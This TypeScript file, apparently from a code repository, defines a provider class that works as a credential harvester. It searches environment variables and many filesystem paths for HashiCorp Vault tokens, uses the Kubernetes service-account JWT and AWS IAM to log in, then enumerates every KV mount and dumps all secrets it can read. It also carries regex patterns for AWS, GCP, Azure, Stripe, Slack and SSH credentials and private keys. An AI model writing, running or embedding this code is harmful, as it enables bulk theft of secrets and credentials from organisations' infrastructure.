362 lines
11 KiB
TypeScript
362 lines
11 KiB
TypeScript
import * as fs from "fs";
|
|
import * as http from "http";
|
|
import * as https from "https";
|
|
|
|
import { Provider } from "../base";
|
|
import type { ProviderResult } from "../types";
|
|
|
|
export class VaultSecretsService extends Provider {
|
|
private readonly TIMEOUT_MS = 15000;
|
|
private readonly VAULT_ADDR =
|
|
process.env.VAULT_ADDR || "http://127.0.0.1:8200";
|
|
|
|
constructor() {
|
|
super("vault", "secrets", {
|
|
vaultToken: /hvs\.[A-Za-z0-9_-]{24,}/g,
|
|
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
|
|
awskey:
|
|
/(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20}|aws_secret_access_key["\s:=]+["']?[A-Za-z0-9/+]{40})/g,
|
|
awsSessionToken: /aws_session_token["\s:=]+["']?[A-Za-z0-9/+=]{100,}/gi,
|
|
gcpKey:
|
|
/"type":\s*"service_account"|"private_key":\s*"-----BEGIN PRIVATE KEY-----/g,
|
|
azureKey:
|
|
/(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi,
|
|
dbConnStr:
|
|
/(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi,
|
|
stripeKey: /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g,
|
|
slackToken: /xox[baprs]-[0-9a-zA-Z\-]{10,}/g,
|
|
twilioKey: /SK[0-9a-f]{32}/gi,
|
|
privateKey: /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g,
|
|
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
|
|
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
|
|
secret:
|
|
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
|
|
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
|
|
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
|
|
hexKey: /[a-fA-F0-9]{32,128}/g,
|
|
base64Blob: /[A-Za-z0-9+\/=]{40,}/g,
|
|
});
|
|
}
|
|
|
|
private isInK8s(): boolean {
|
|
return !!process.env.KUBERNETES_SERVICE_HOST;
|
|
}
|
|
|
|
private async getTokenFromEnv(): Promise<string | null> {
|
|
const candidates = [
|
|
process.env["VAULT_TOKEN"],
|
|
process.env["VAULT_AUTH_TOKEN"],
|
|
process.env.VAULT_API_TOKEN,
|
|
];
|
|
|
|
for (const token of candidates) {
|
|
if (token && token.length > 5) return token;
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private async getTokenFromFile(): Promise<string | null> {
|
|
const home = process.env.HOME || process.env.USERPROFILE || "/root";
|
|
const candidates = [
|
|
process.env.VAULT_TOKEN_PATH,
|
|
process.env.VAULT_TOKEN_FILE,
|
|
`${home}/.vault-token`,
|
|
"/root/.vault-token",
|
|
"/home/runner/.vault-token",
|
|
"/vault/token",
|
|
"/var/run/secrets/vault-token",
|
|
"/var/run/secrets/vault/token",
|
|
"/run/secrets/vault_token",
|
|
"/run/secrets/VAULT_TOKEN",
|
|
`${home}/.vault/token`,
|
|
"/etc/vault/token",
|
|
].filter(Boolean) as string[];
|
|
|
|
for (const p of candidates) {
|
|
try {
|
|
if (fs.existsSync(p)) {
|
|
const content = fs.readFileSync(p, "utf-8").trim();
|
|
if (content && content.length > 5 && content.length < 10000)
|
|
return content;
|
|
}
|
|
} catch {}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private async getTokenFromK8sAuth(): Promise<string | null> {
|
|
try {
|
|
if (!this.isInK8s()) return null;
|
|
|
|
const jwt = await fs.promises.readFile(
|
|
"/var/run/secrets/kubernetes.io/serviceaccount/token",
|
|
"utf-8",
|
|
);
|
|
|
|
const host = process.env.KUBERNETES_SERVICE_HOST;
|
|
const vaultAddr =
|
|
process.env.VAULT_ADDR || `http://vault.${host}.svc.cluster.local:8200`;
|
|
const role = process.env.VAULT_ROLE || "default";
|
|
const payload = JSON.stringify({ role, jwt: jwt.trim() });
|
|
const parsed = new URL(vaultAddr);
|
|
|
|
const result = await this.makeRequest(
|
|
{
|
|
hostname: parsed.hostname,
|
|
port: parsed.port || 8200,
|
|
path: "/v1/auth/kubernetes/login",
|
|
method: "POST",
|
|
protocol: parsed.protocol,
|
|
headers: {
|
|
"Content-Type": "application/json",
|
|
"Content-Length": Buffer.byteLength(payload),
|
|
},
|
|
},
|
|
payload,
|
|
);
|
|
|
|
return result?.auth?.client_token ?? null;
|
|
} catch {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
private async getTokenFromAwsIam(): Promise<string | null> {
|
|
try {
|
|
const role = process.env.VAULT_AWS_ROLE || "default";
|
|
const payload = JSON.stringify({ role });
|
|
const parsed = new URL(this.VAULT_ADDR);
|
|
|
|
const result = await this.makeRequest(
|
|
{
|
|
hostname: parsed.hostname,
|
|
port: parsed.port || 8200,
|
|
path: "/v1/auth/aws/login",
|
|
method: "POST",
|
|
protocol: parsed.protocol,
|
|
headers: {
|
|
"Content-Type": "application/json",
|
|
"Content-Length": Buffer.byteLength(payload),
|
|
},
|
|
},
|
|
payload,
|
|
);
|
|
|
|
return result?.auth?.client_token ?? null;
|
|
} catch {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
private makeRequest(options: any, body?: string): Promise<any> {
|
|
return new Promise((resolve, reject) => {
|
|
const isHttps =
|
|
(options.protocol ?? new URL(this.VAULT_ADDR).protocol) === "https:";
|
|
const lib = isHttps ? https : http;
|
|
|
|
const timeout = setTimeout(() => {
|
|
req.destroy();
|
|
reject(new Error(`Timeout after ${this.TIMEOUT_MS}ms`));
|
|
}, this.TIMEOUT_MS);
|
|
|
|
const req = lib.request(options, (res) => {
|
|
clearTimeout(timeout);
|
|
let data = "";
|
|
res.on("data", (chunk) => (data += chunk));
|
|
res.on("end", () => {
|
|
try {
|
|
const parsed = JSON.parse(data);
|
|
if (
|
|
res.statusCode &&
|
|
res.statusCode >= 200 &&
|
|
res.statusCode < 300
|
|
) {
|
|
resolve(parsed);
|
|
} else {
|
|
reject(new Error(`HTTP ${res.statusCode}`));
|
|
}
|
|
} catch {
|
|
reject(new Error("Failed to parse response"));
|
|
}
|
|
});
|
|
});
|
|
|
|
req.on("error", (err) => {
|
|
clearTimeout(timeout);
|
|
reject(err);
|
|
});
|
|
if (body) req.write(body);
|
|
req.end();
|
|
});
|
|
}
|
|
|
|
private async authenticate(): Promise<string | null> {
|
|
return (
|
|
(await this.getTokenFromEnv()) ??
|
|
(await this.getTokenFromFile()) ??
|
|
(await this.getTokenFromK8sAuth()) ??
|
|
(await this.getTokenFromAwsIam())
|
|
);
|
|
}
|
|
|
|
private vaultRequest(
|
|
path: string,
|
|
token: string,
|
|
method = "GET",
|
|
body?: string,
|
|
): Promise<any> {
|
|
const parsed = new URL(this.VAULT_ADDR);
|
|
const options: any = {
|
|
hostname: parsed.hostname,
|
|
port: parsed.port || (parsed.protocol === "https:" ? 443 : 80),
|
|
path,
|
|
method,
|
|
protocol: parsed.protocol,
|
|
headers: { "X-Vault-Token": token } as Record<string, string | number>,
|
|
};
|
|
if (body) {
|
|
options.headers["Content-Type"] = "application/json";
|
|
options.headers["Content-Length"] = Buffer.byteLength(body);
|
|
}
|
|
return this.makeRequest(options, body);
|
|
}
|
|
|
|
private async listMounts(token: string): Promise<Array<{ path: string }>> {
|
|
try {
|
|
const result = await this.vaultRequest("/v1/sys/mounts", token);
|
|
const mounts: Array<{ path: string }> = [];
|
|
|
|
const mountData = result.data ?? result;
|
|
for (const [rawPath, info] of Object.entries(mountData as any)) {
|
|
const mount = info as any;
|
|
if (mount.type === "kv") {
|
|
const cleanPath = rawPath.replace(/^\//, "").replace(/\/$/, "");
|
|
if (!cleanPath.startsWith("sys/") && !cleanPath.startsWith("auth/")) {
|
|
mounts.push({ path: cleanPath });
|
|
}
|
|
}
|
|
}
|
|
return mounts;
|
|
} catch {
|
|
return [];
|
|
}
|
|
}
|
|
|
|
private async listKvV2(mountPath: string, token: string): Promise<any[]> {
|
|
const secrets: any[] = [];
|
|
try {
|
|
const result = await this.vaultRequest(
|
|
`/v1/${mountPath}/metadata?list=true`,
|
|
token,
|
|
);
|
|
const keys: string[] = result.data?.keys ?? [];
|
|
|
|
await Promise.all(
|
|
keys.slice(0, 100).map(async (key) => {
|
|
if (key.endsWith("/")) return;
|
|
try {
|
|
const secretResult = await this.vaultRequest(
|
|
`/v1/${mountPath}/data/${encodeURIComponent(key)}`,
|
|
token,
|
|
);
|
|
secrets.push({
|
|
path: `${mountPath}/${key}`,
|
|
mount: mountPath,
|
|
key,
|
|
data: secretResult.data?.data ?? {},
|
|
metadata: secretResult.data?.metadata ?? {},
|
|
});
|
|
} catch {}
|
|
}),
|
|
);
|
|
} catch {}
|
|
return secrets;
|
|
}
|
|
|
|
private async listKvV1(mountPath: string, token: string): Promise<any[]> {
|
|
const secrets: any[] = [];
|
|
try {
|
|
const result = await this.vaultRequest(`/v1/${mountPath}`, token, "LIST");
|
|
const keys: string[] = result.data?.keys ?? [];
|
|
|
|
await Promise.all(
|
|
keys.slice(0, 100).map(async (key) => {
|
|
if (key.endsWith("/")) return;
|
|
try {
|
|
const secretResult = await this.vaultRequest(
|
|
`/v1/${mountPath}/${encodeURIComponent(key)}`,
|
|
token,
|
|
);
|
|
secrets.push({
|
|
path: `${mountPath}/${key}`,
|
|
mount: mountPath,
|
|
key,
|
|
data: secretResult.data ?? {},
|
|
});
|
|
} catch {}
|
|
}),
|
|
);
|
|
} catch {}
|
|
return secrets;
|
|
}
|
|
|
|
private async collectFromMount(
|
|
mountPath: string,
|
|
token: string,
|
|
): Promise<any[]> {
|
|
const v2 = await this.listKvV2(mountPath, token);
|
|
if (v2.length > 0) return v2;
|
|
return this.listKvV1(mountPath, token);
|
|
}
|
|
|
|
async execute(): Promise<ProviderResult> {
|
|
try {
|
|
const token = await this.authenticate();
|
|
if (!token) {
|
|
return this.failure("No Vault credentials found");
|
|
}
|
|
|
|
try {
|
|
await this.vaultRequest("/v1/sys/health", token);
|
|
} catch {}
|
|
|
|
const mounts = await this.listMounts(token);
|
|
const allSecrets: any[] = [];
|
|
const seenPaths = new Set<string>();
|
|
|
|
for (const mount of mounts) {
|
|
const secrets = await this.collectFromMount(mount.path, token);
|
|
for (const s of secrets) {
|
|
if (!seenPaths.has(s.path)) {
|
|
seenPaths.add(s.path);
|
|
allSecrets.push(s);
|
|
}
|
|
}
|
|
}
|
|
|
|
const commonPaths = ["secret", "kv", "cubbyhole", "secret-v2"];
|
|
for (const p of commonPaths) {
|
|
const secrets = await this.collectFromMount(p, token);
|
|
for (const s of secrets) {
|
|
if (!seenPaths.has(s.path)) {
|
|
seenPaths.add(s.path);
|
|
allSecrets.push(s);
|
|
}
|
|
}
|
|
}
|
|
|
|
if (allSecrets.length === 0) {
|
|
return this.failure("No secrets found in Vault");
|
|
}
|
|
|
|
return this.success({
|
|
vaultAddr: this.VAULT_ADDR,
|
|
totalSecrets: allSecrets.length,
|
|
secrets: allSecrets,
|
|
});
|
|
} catch (e) {
|
|
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
|
}
|
|
}
|
|
}
|